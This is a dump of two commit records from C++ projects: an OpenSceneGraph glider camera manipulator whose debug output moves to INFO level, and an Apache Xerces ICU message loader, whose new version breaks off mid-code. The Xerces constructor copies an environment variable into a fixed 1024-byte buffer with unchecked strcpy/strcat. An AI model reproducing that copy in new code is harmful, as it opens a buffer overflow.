us.requestWarpPointer((ea.getXmin()+ea.getXmax())\/2.0f,(ea.getYmin()+ea.getYmax())\/2.0f);\n\n flushMouseEventStack();\n\n }\n\n}\n\n\nvoid GliderManipulator::init(const GUIEventAdapter& ea,GUIActionAdapter& us)\n{\n flushMouseEventStack();\n\n us.requestContinuousUpdate(false);\n\n _velocity = 0.0f;\n\n if (ea.getEventType()!=GUIEventAdapter::RESIZE)\n {\n us.requestWarpPointer((ea.getXmin()+ea.getXmax())\/2.0f,(ea.getYmin()+ea.getYmax())\/2.0f);\n }\n}\n\n\nbool GliderManipulator::handle(const GUIEventAdapter& ea,GUIActionAdapter& us)\n{\n switch(ea.getEventType())\n {\n case(GUIEventAdapter::PUSH):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n return true;\n }\n\n case(GUIEventAdapter::RELEASE):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n return true;\n }\n\n case(GUIEventAdapter::DRAG):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n return true;\n }\n\n case(GUIEventAdapter::MOVE):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n\n return true;\n }\n\n case(GUIEventAdapter::KEYDOWN):\n if (ea.getKey()==' ')\n {\n flushMouseEventStack();\n home(ea,us);\n us.requestRedraw();\n us.requestContinuousUpdate(false);\n return true;\n }\n else if (ea.getKey()=='q')\n {\n _yawMode = YAW_AUTOMATICALLY_WHEN_BANKED;\n return true;\n }\n else if (ea.getKey()=='a')\n {\n _yawMode = NO_AUTOMATIC_YAW;\n return true;\n }\n return false;\n\n case(GUIEventAdapter::FRAME):\n addMouseEvent(ea);\n if (calcMovement()) us.requestRedraw();\n return true;\n\n case(GUIEventAdapter::RESIZE):\n init(ea,us);\n us.requestRedraw();\n return true;\n\n default:\n return false;\n }\n}\n\nvoid GliderManipulator::getUsage(osg::ApplicationUsage& usage) const\n{\n usage.addKeyboardMouseBinding(\"Flight: Space\",\"Reset the viewing position to home\");\n usage.addKeyboardMouseBinding(\"Flight: q\",\"Automatically yaw when banked (default)\");\n usage.addKeyboardMouseBinding(\"Flight: a\",\"No yaw when banked\");\n}\n\nvoid GliderManipulator::flushMouseEventStack()\n{\n _ga_t1 = NULL;\n _ga_t0 = NULL;\n}\n\n\nvoid GliderManipulator::addMouseEvent(const GUIEventAdapter& ea)\n{\n _ga_t1 = _ga_t0;\n _ga_t0 = &ea;\n}\n\n\nvoid GliderManipulator::setByMatrix(const osg::Matrixd& matrix)\n{\n _eye = matrix.getTrans();\n matrix.get(_rotation);\n _distance = 1.0f;\n}\n\nosg::Matrixd GliderManipulator::getMatrix() const\n{\n return osg::Matrixd::rotate(_rotation)*osg::Matrixd::translate(_eye);\n}\n\nosg::Matrixd GliderManipulator::getInverseMatrix() const\n{\n return osg::Matrixd::translate(-_eye)*osg::Matrixd::rotate(_rotation.inverse());\n}\n\nvoid GliderManipulator::computePosition(const osg::Vec3& eye,const osg::Vec3& lv,const osg::Vec3& up)\n{\n osg::Vec3 f(lv);\n f.normalize();\n osg::Vec3 s(f^up);\n s.normalize();\n osg::Vec3 u(s^f);\n u.normalize();\n \n osg::Matrixd rotation_matrix(s[0], u[0], -f[0], 0.0f,\n s[1], u[1], -f[1], 0.0f,\n s[2], u[2], -f[2], 0.0f,\n 0.0f, 0.0f, 0.0f, 1.0f);\n \n _eye = eye;\n _distance = lv.length();\n rotation_matrix.get(_rotation);\n _rotation = _rotation.inverse();\n}\n\n\nbool GliderManipulator::calcMovement()\n{\n \/\/_camera->setFusionDistanceMode(osg::Camera::PROPORTIONAL_TO_SCREEN_DISTANCE);\n\n \/\/ return if less then two events have been added.\n if (_ga_t0.get()==NULL || _ga_t1.get()==NULL) return false;\n\n\n double dt = _ga_t0->time()-_ga_t1->time();\n\n if (dt<0.0f)\n {\n notify(WARN) << \"warning dt = \"<<dt<< std::endl;\n dt = 0.0f;\n }\n\n unsigned int buttonMask = _ga_t1->getButtonMask();\n if (buttonMask==GUIEventAdapter::LEFT_MOUSE_BUTTON)\n {\n \/\/ pan model.\n\n _velocity += dt*_modelScale*0.05f;\n\n }\n else if (buttonMask==GUIEventAdapter::MIDDLE_MOUSE_BUTTON ||\n buttonMask==(GUIEventAdapter::LEFT_MOUSE_BUTTON|GUIEventAdapter::RIGHT_MOUSE_BUTTON))\n {\n\n _velocity = 0.0f;\n\n }\n else if (buttonMask==GUIEventAdapter::RIGHT_MOUSE_BUTTON)\n {\n\n _velocity -= dt*_modelScale*0.05f;\n\n }\n\n float dx = _ga_t0->getXnormalized();\n float dy = _ga_t0->getYnormalized();\n\n\n osg::Matrixd rotation_matrix;\n rotation_matrix.makeRotate(_rotation);\n \n osg::Vec3 up = osg::Vec3(0.0f,1.0f,0.0) * rotation_matrix;\n osg::Vec3 lv = osg::Vec3(0.0f,0.0f,-1.0f) * rotation_matrix;\n\n osg::Vec3 sv = lv^up;\n sv.normalize();\n\n float pitch = -inDegrees(dy*75.0f*dt);\n float roll = inDegrees(dx*50.0f*dt);\n\n osg::Quat delta_rotate;\n\n osg::Quat roll_rotate;\n osg::Quat pitch_rotate;\n\n pitch_rotate.makeRotate(pitch,sv.x(),sv.y(),sv.z());\n roll_rotate.makeRotate(roll,lv.x(),lv.y(),lv.z());\n\n delta_rotate = pitch_rotate*roll_rotate;\n\n if (_yawMode==YAW_AUTOMATICALLY_WHEN_BANKED)\n {\n float bank = asinf(sv.z());\n float yaw = inRadians(bank)*dt;\n \n osg::Quat yaw_rotate;\n yaw_rotate.makeRotate(yaw,0.0f,0.0f,1.0f);\n\n delta_rotate = delta_rotate*yaw_rotate;\n }\n\n lv *= (_velocity*dt);\n\n _eye += lv;\n _rotation = _rotation*delta_rotate;\n\n return true;\n}\n<commit_msg>Maded debugging output write out at INFO level<commit_after>#include \"GliderManipulator.h\"\n#include <osg\/Notify>\n\nusing namespace osg;\nusing namespace osgGA;\n\nGliderManipulator::GliderManipulator()\n{\n _modelScale = 0.01f;\n _velocity = 0.0f;\n _yawMode = YAW_AUTOMATICALLY_WHEN_BANKED;\n\n _distance = 1.0f;\n}\n\n\nGliderManipulator::~GliderManipulator()\n{\n}\n\n\nvoid GliderManipulator::setNode(osg::Node* node)\n{\n _node = node;\n if (_node.get())\n {\n const osg::BoundingSphere& boundingSphere=_node->getBound();\n _modelScale = boundingSphere._radius;\n }\n}\n\n\nconst osg::Node* GliderManipulator::getNode() const\n{\n return _node.get();\n}\n\n\n\nosg::Node* GliderManipulator::getNode()\n{\n return _node.get();\n}\n\nvoid GliderManipulator::home(const GUIEventAdapter& ea,GUIActionAdapter& us)\n{\n if(_node.get())\n {\n\n const osg::BoundingSphere& boundingSphere=_node->getBound();\n\n osg::Vec3 eye = boundingSphere._center+osg::Vec3(-boundingSphere._radius*0.25f,-boundingSphere._radius*0.25f,-boundingSphere._radius*0.03f);\n\n computePosition(eye,\n osg::Vec3(1.0f,1.0f,-0.1f),\n osg::Vec3(0.0f,0.0f,1.0f));\n\n _velocity = boundingSphere._radius*0.01f;\n\n us.requestRedraw();\n\n us.requestWarpPointer((ea.getXmin()+ea.getXmax())\/2.0f,(ea.getYmin()+ea.getYmax())\/2.0f);\n\n flushMouseEventStack();\n\n }\n\n}\n\n\nvoid GliderManipulator::init(const GUIEventAdapter& ea,GUIActionAdapter& us)\n{\n flushMouseEventStack();\n\n us.requestContinuousUpdate(false);\n\n _velocity = 0.0f;\n\n if (ea.getEventType()!=GUIEventAdapter::RESIZE)\n {\n us.requestWarpPointer((ea.getXmin()+ea.getXmax())\/2.0f,(ea.getYmin()+ea.getYmax())\/2.0f);\n }\n}\n\n\nbool GliderManipulator::handle(const GUIEventAdapter& ea,GUIActionAdapter& us)\n{\n switch(ea.getEventType())\n {\n case(GUIEventAdapter::PUSH):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n return true;\n }\n\n case(GUIEventAdapter::RELEASE):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n return true;\n }\n\n case(GUIEventAdapter::DRAG):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n return true;\n }\n\n case(GUIEventAdapter::MOVE):\n {\n\n addMouseEvent(ea);\n us.requestContinuousUpdate(true);\n if (calcMovement()) us.requestRedraw();\n\n return true;\n }\n\n case(GUIEventAdapter::KEYDOWN):\n if (ea.getKey()==' ')\n {\n flushMouseEventStack();\n home(ea,us);\n us.requestRedraw();\n us.requestContinuousUpdate(false);\n return true;\n }\n else if (ea.getKey()=='q')\n {\n _yawMode = YAW_AUTOMATICALLY_WHEN_BANKED;\n return true;\n }\n else if (ea.getKey()=='a')\n {\n _yawMode = NO_AUTOMATIC_YAW;\n return true;\n }\n return false;\n\n case(GUIEventAdapter::FRAME):\n addMouseEvent(ea);\n if (calcMovement()) us.requestRedraw();\n return true;\n\n case(GUIEventAdapter::RESIZE):\n init(ea,us);\n us.requestRedraw();\n return true;\n\n default:\n return false;\n }\n}\n\nvoid GliderManipulator::getUsage(osg::ApplicationUsage& usage) const\n{\n usage.addKeyboardMouseBinding(\"Flight: Space\",\"Reset the viewing position to home\");\n usage.addKeyboardMouseBinding(\"Flight: q\",\"Automatically yaw when banked (default)\");\n usage.addKeyboardMouseBinding(\"Flight: a\",\"No yaw when banked\");\n}\n\nvoid GliderManipulator::flushMouseEventStack()\n{\n _ga_t1 = NULL;\n _ga_t0 = NULL;\n}\n\n\nvoid GliderManipulator::addMouseEvent(const GUIEventAdapter& ea)\n{\n _ga_t1 = _ga_t0;\n _ga_t0 = &ea;\n}\n\n\nvoid GliderManipulator::setByMatrix(const osg::Matrixd& matrix)\n{\n _eye = matrix.getTrans();\n matrix.get(_rotation);\n _distance = 1.0f;\n}\n\nosg::Matrixd GliderManipulator::getMatrix() const\n{\n return osg::Matrixd::rotate(_rotation)*osg::Matrixd::translate(_eye);\n}\n\nosg::Matrixd GliderManipulator::getInverseMatrix() const\n{\n return osg::Matrixd::translate(-_eye)*osg::Matrixd::rotate(_rotation.inverse());\n}\n\nvoid GliderManipulator::computePosition(const osg::Vec3& eye,const osg::Vec3& lv,const osg::Vec3& up)\n{\n osg::Vec3 f(lv);\n f.normalize();\n osg::Vec3 s(f^up);\n s.normalize();\n osg::Vec3 u(s^f);\n u.normalize();\n \n osg::Matrixd rotation_matrix(s[0], u[0], -f[0], 0.0f,\n s[1], u[1], -f[1], 0.0f,\n s[2], u[2], -f[2], 0.0f,\n 0.0f, 0.0f, 0.0f, 1.0f);\n \n _eye = eye;\n _distance = lv.length();\n rotation_matrix.get(_rotation);\n _rotation = _rotation.inverse();\n}\n\n\nbool GliderManipulator::calcMovement()\n{\n \/\/_camera->setFusionDistanceMode(osg::Camera::PROPORTIONAL_TO_SCREEN_DISTANCE);\n\n \/\/ return if less then two events have been added.\n if (_ga_t0.get()==NULL || _ga_t1.get()==NULL) return false;\n\n\n double dt = _ga_t0->time()-_ga_t1->time();\n\n if (dt<0.0f)\n {\n notify(INFO) << \"warning dt = \"<<dt<< std::endl;\n dt = 0.0f;\n }\n\n unsigned int buttonMask = _ga_t1->getButtonMask();\n if (buttonMask==GUIEventAdapter::LEFT_MOUSE_BUTTON)\n {\n \/\/ pan model.\n\n _velocity += dt*_modelScale*0.05f;\n\n }\n else if (buttonMask==GUIEventAdapter::MIDDLE_MOUSE_BUTTON ||\n buttonMask==(GUIEventAdapter::LEFT_MOUSE_BUTTON|GUIEventAdapter::RIGHT_MOUSE_BUTTON))\n {\n\n _velocity = 0.0f;\n\n }\n else if (buttonMask==GUIEventAdapter::RIGHT_MOUSE_BUTTON)\n {\n\n _velocity -= dt*_modelScale*0.05f;\n\n }\n\n float dx = _ga_t0->getXnormalized();\n float dy = _ga_t0->getYnormalized();\n\n\n osg::Matrixd rotation_matrix;\n rotation_matrix.makeRotate(_rotation);\n \n osg::Vec3 up = osg::Vec3(0.0f,1.0f,0.0) * rotation_matrix;\n osg::Vec3 lv = osg::Vec3(0.0f,0.0f,-1.0f) * rotation_matrix;\n\n osg::Vec3 sv = lv^up;\n sv.normalize();\n\n float pitch = -inDegrees(dy*75.0f*dt);\n float roll = inDegrees(dx*50.0f*dt);\n\n osg::Quat delta_rotate;\n\n osg::Quat roll_rotate;\n osg::Quat pitch_rotate;\n\n pitch_rotate.makeRotate(pitch,sv.x(),sv.y(),sv.z());\n roll_rotate.makeRotate(roll,lv.x(),lv.y(),lv.z());\n\n delta_rotate = pitch_rotate*roll_rotate;\n\n if (_yawMode==YAW_AUTOMATICALLY_WHEN_BANKED)\n {\n float bank = asinf(sv.z());\n float yaw = inRadians(bank)*dt;\n \n osg::Quat yaw_rotate;\n yaw_rotate.makeRotate(yaw,0.0f,0.0f,1.0f);\n\n delta_rotate = delta_rotate*yaw_rotate;\n }\n\n lv *= (_velocity*dt);\n\n _eye += lv;\n _rotation = _rotation*delta_rotate;\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 1999-2000 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.8 2002\/11\/20 20:28:17 peiyongz\n * fix to warning C4018: '>' : signed\/unsigned mismatch\n *\n * Revision 1.7 2002\/11\/12 17:27:49 tng\n * DOM Message: add new domain for DOM Messages.\n *\n * Revision 1.6 2002\/11\/04 22:24:43 peiyongz\n * Locale setting for message loader\n *\n * Revision 1.5 2002\/11\/04 15:10:40 tng\n * C++ Namespace Support.\n *\n * Revision 1.4 2002\/10\/10 21:07:55 peiyongz\n * load resource files using environement vars and base name\n *\n * Revision 1.3 2002\/10\/02 17:08:50 peiyongz\n * XMLString::equals() to replace XMLString::compareString()\n *\n * Revision 1.2 2002\/09\/30 22:20:40 peiyongz\n * Build with ICU MsgLoader\n *\n * Revision 1.1.1.1 2002\/02\/01 22:22:19 peiyongz\n * sane_include\n *\n * Revision 1.7 2002\/01\/21 14:52:25 tng\n * [Bug 5847] ICUMsgLoader can't be compiled with gcc 3.0.3 and ICU2. And also fix the memory leak introduced by Bug 2730 fix.\n *\n * Revision 1.6 2001\/11\/01 23:39:18 jasons\n * 2001-11-01 Jason E. Stewart <jason@openinformatics.com>\n *\n * \t* src\/util\/MsgLoaders\/ICU\/ICUMsgLoader.hpp (Repository):\n * \t* src\/util\/MsgLoaders\/ICU\/ICUMsgLoader.cpp (Repository):\n * \tUpdated to compile with ICU-1.8.1\n *\n * Revision 1.5 2000\/03\/02 19:55:14 roddey\n * This checkin includes many changes done while waiting for the\n * 1.1.0 code to be finished. I can't list them all here, but a list is\n * available elsewhere.\n *\n * Revision 1.4 2000\/02\/06 07:48:21 rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.3 2000\/01\/19 00:58:38 roddey\n * Update to support new ICU 1.4 release.\n *\n * Revision 1.2 1999\/11\/19 21:24:03 aruna1\n * incorporated ICU 1.3.1 related changes int he file\n *\n * Revision 1.1.1.1 1999\/11\/09 01:07:23 twl\n * Initial checkin\n *\n * Revision 1.4 1999\/11\/08 20:45:26 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/util\/XercesDefs.hpp>\n#include <xercesc\/util\/PlatformUtils.hpp>\n#include <xercesc\/util\/XMLMsgLoader.hpp>\n#include <xercesc\/util\/XMLString.hpp>\n#include <xercesc\/util\/XMLUniDefs.hpp>\n#include <xercesc\/util\/Janitor.hpp>\n#include \"ICUMsgLoader.hpp\"\n\n#include \"string.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Local static methods\n\/\/ ---------------------------------------------------------------------------\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Public Constructors and Destructor\n\/\/ ---------------------------------------------------------------------------\nICUMsgLoader::ICUMsgLoader(const XMLCh* const msgDomain)\n:fLocaleBundle(0)\n,fDomainBundle(0)\n{\n \/***\n\t Validate msgDomain\n ***\/\n if (!XMLString::equals(msgDomain, XMLUni::fgXMLErrDomain) &&\n !XMLString::equals(msgDomain, XMLUni::fgExceptDomain) &&\n !XMLString::equals(msgDomain, XMLUni::fgXMLDOMMsgDomain) &&\n !XMLString::equals(msgDomain, XMLUni::fgValidityDomain) )\n {\n XMLPlatformUtils::panic(XMLPlatformUtils::Panic_UnknownMsgDomain);\n }\n\n\t\/***\n\t Resolve domainName\n\t***\/\n\tint index = XMLString::lastIndexOf(msgDomain, chForwardSlash);\n\tchar* domainName = XMLString::transcode(&(msgDomain[index + 1]));\n ArrayJanitor<char> jan1(domainName);\n\n \/***\n\t Resolve location\n\n\t REVISIT: another approach would be: through some system API\n\t\t which returns the directory of the XercescLib and\n\t\t that directory would be used to locate the\n\t\t \t\t resource bundle\n ***\/\n char locationBuf[1024];\n memset(locationBuf, 0, sizeof locationBuf);\n\tchar *nlsHome = getenv(\"XERCESC_NLS_HOME\");\n\n if (nlsHome)\n\t{\n\t\tstrcpy(locationBuf, nlsHome);\n strcat(locationBuf, U_FILE_SEP_STRING);\n\t}\n\n strcat(locationBuf, \"XercescErrMsg\");\n\n\t\/***\n\t Open the locale-specific resource bundle\n\t***\/\n UErrorCode err = U_ZERO_ERROR;\n fLocaleBundle = ures_open(locationBuf, XMLMsgLoader::getLocale(), &err);\n if (!U_SUCCESS(err) || fLocaleBundle == NULL)\n {\n XMLPlatformUtils::panic(XMLPlatformUtils::Panic_CantLoadMsgDomain);\n }\n\n\t\/***\n\t Open the domain specific resource bundle within\n\t\tthe locale-specific resource bundle\n\t***\/\n\terr = U_ZERO_ERROR;\n\tfDomainBundle = ures_getByKey(fLocaleBundle, domainName, NULL, &err);\n\n\tif (!U_SUCCESS(err) || fDomainBundle == NULL)\n\t{\n XMLPlatformUtils::panic(XMLPlatformUtils::Panic_CantLoadMsgDomain);\n\t}\n\n}\n\nICUMsgLoader::~ICUMsgLoader()\n{\n ures_close(fDomainBundle);\n ures_close(fLocaleBundle);\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Implementation of the virtual message loader API\n\/\/ ---------------------------------------------------------------------------\nbool ICUMsgLoader::loadMsg( const XMLMsgLoader::XMLMsgId msgToLoad\n , XMLCh* const toFill\n , const unsigned int maxChars)\n{\n UErrorCode err = U_ZERO_ERROR;\n int32_t strLen = 0;\n\n \/\/ Assuming array format\n const UChar *name = ures_getStringByIndex(fDomainBundle, (int32_t)msgToLoad-1, &strLen, &err);\n\n if (!U_SUCCESS(err) || (name == NULL))\n {\n return false;\n }\n\n int retStrLen = strLen > (int32_t)maxChars ? maxChars : strLen;\n\n if (sizeof(UChar)==sizeof(XMLCh))\n {\n XMLString::moveChars(toFill, (XMLCh*)name, retStrLen);\n toFill[retStrLen] = (XMLCh) 0;\n }\n else\n {\n XMLCh* retStr = toFill;\n const UChar *srcPtr = name;\n\n while (retStrLen--)\n *retStr++ = *srcPtr++;\n\n *retStr = 0;\n }\n\n return true;\n}\n\n\nbool ICUMsgLoader::loadMsg( const XMLMsgLoader::XMLMsgId msgToLoad\n , XMLCh* const toFill\n , const unsigned int maxChars\n , const XMLCh* const repText1\n , const XMLCh* const repText2\n , const XMLCh* const repText3\n , const XMLCh* const repText4)\n{\n \/\/ Call the other version to load up the message\n if (!loadMsg(msgToLoad, toFill, maxChars))\n return false;\n\n \/\/ And do the token replacement\n XMLString::replaceTokens(toFill, maxChars, repText1, repText2, repText3, repText4);\n return true;\n}\n\n\nbool ICUMsgLoader::loadMsg( const XMLMsgLoader::XMLMsgId msgToLoad\n , XMLCh* const toFill\n , const unsigned int maxChars\n , const char* const repText1\n , const char* const repText2\n , const char* const repText3\n , const char* const repText4)\n{\n \/\/\n \/\/ Transcode the provided parameters and call the other version,\n \/\/ which will do the replacement work.\n \/\/\n XMLCh* tmp1 = 0;\n XMLCh* tmp2 = 0;\n XMLCh* tmp3 = 0;\n XMLCh* tmp4 = 0;\n\n bool bRet = false;\n if (repText1)\n tmp1 = XMLString::transcode(repText1);\n if (repText2)\n tmp2 = XMLString::transcode(repText2);\n if (repText3)\n tmp3 = XMLString::transcode(repText3);\n if (repText4)\n tmp4 = XMLString::transcode(repText4);\n\n bRet = loadMsg(msgToLoad, toFill, maxChars, tmp1, tmp2, tmp3, tmp4);\n\n if (tmp1)\n delete [] tmp1;\n if (tmp2)\n delete [] tmp2;\n if (tmp3)\n delete [] tmp3;\n if (tmp4)\n delete [] tmp4;\n\n return bRet;\n}\n\nXERCES_CPP_NAMESPACE_END\n<commit_msg>use $XERCESCROOT to search for icu resource bundle if XERCESC_NLS_HOME undefined<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 1999-2000 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.9 2002\/12\/04 18:11:23 peiyongz\n * use $XERCESCROOT to search for icu resource bundle if XERCESC_NLS_HOME\n * undefined\n *\n * Revision 1.8 2002\/11\/20 20:28:17 peiyongz\n * fix to warning C4018: '>' : signed\/unsigned mismatch\n *\n * Revision 1.7 2002\/11\/12 17:27:49 tng\n * DOM Message: add new domain for DOM Messages.\n *\n * Revision 1.6 2002\/11\/04 22:24:43 peiyongz\n * Locale setting for message loader\n *\n * Revision 1.5 2002\/11\/04 15:10:40 tng\n * C++ Namespace Support.\n *\n * Revision 1.4 2002\/10\/10 21:07:55 peiyongz\n * load resource files using environement vars and base name\n *\n * Revision 1.3 2002\/10\/02 17:08:50 peiyongz\n * XMLString::equals() to replace XMLString::compareString()\n *\n * Revision 1.2 2002\/09\/30 22:20:40 peiyongz\n * Build with ICU MsgLoader\n *\n * Revision 1.1.1.1 2002\/02\/01 22:22:19 peiyongz\n * sane_include\n *\n * Revision 1.7 2002\/01\/21 14:52:25 tng\n * [Bug 5847] ICUMsgLoader can't be compiled with gcc 3.0.3 and ICU2. And also fix the memory leak introduced by Bug 2730 fix.\n *\n * Revision 1.6 2001\/11\/01 23:39:18 jasons\n * 2001-11-01 Jason E. Stewart <jason@openinformatics.com>\n *\n * \t* src\/util\/MsgLoaders\/ICU\/ICUMsgLoader.hpp (Repository):\n * \t* src\/util\/MsgLoaders\/ICU\/ICUMsgLoader.cpp (Repository):\n * \tUpdated to compile with ICU-1.8.1\n *\n * Revision 1.5 2000\/03\/02 19:55:14 roddey\n * This checkin includes many changes done while waiting for the\n * 1.1.0 code to be finished. I can't list them all here, but a list is\n * available elsewhere.\n *\n * Revision 1.4 2000\/02\/06 07:48:21 rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.3 2000\/01\/19 00:58:38 roddey\n * Update to support new ICU 1.4 release.\n *\n * Revision 1.2 1999\/11\/19 21:24:03 aruna1\n * incorporated ICU 1.3.1 related changes int he file\n *\n * Revision 1.1.1.1 1999\/11\/09 01:07:23 twl\n * Initial checkin\n *\n * Revision 1.4 1999\/11\/08 20:45:26 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/util\/XercesDefs.hpp>\n#include <xercesc\/util\/PlatformUtils.hpp>\n#include <xercesc\/util\/XMLMsgLoader.hpp>\n#include <xercesc\/util\/XMLString.hpp>\n#include <xercesc\/util\/XMLUniDefs.hpp>\n#include <xercesc\/util\/Janitor.hpp>\n#include \"ICUMsgLoader.hpp\"\n\n#include \"string.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Local static methods\n\/\/ ---------------------------------------------------------------------------\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Public Constructors and Destructor\n\/\/ ---------------------------------------------------------------------------\nICUMsgLoader::ICUMsgLoader(const XMLCh* const msgDomain)\n:fLocaleBundle(0)\n,fDomainBundle(0)\n{\n \/***\n\t Validate msgDomain\n ***\/\n if (!XMLString::equals(msgDomain, XMLUni::fgXMLErrDomain) &&\n !XMLString::equals(msgDomain, XMLUni::fgExceptDomain) &&\n !XMLString::equals(msgDomain, XMLUni::fgXMLDOMMsgDomain) &&\n !XMLString::equals(msgDomain, XMLUni::fgValidityDomain) )\n {\n XMLPlatformUtils::panic(XMLPlatformUtils::Panic_UnknownMsgDomain);\n }\n\n\t\/***\n\t Resolve domainName\n\t***\/\n\tint index = XMLString::lastIndexOf(msgDomain, chForwardSlash);\n\tchar* domainName = XMLString::transcode(&(msgDomain[index + 1]));\n ArrayJanitor<char> jan1(domainName);\n\n \/***\n\t Resolve location\n\n\t REVISIT: another approach would be: through some system API\n\t\t which returns the directory of the XercescLib and\n\t\t that directory would be used to locate the\n\t\t \t\t resource bundle\n ***\/\n char locationBuf[1024];\n memset(locationBuf, 0, sizeof 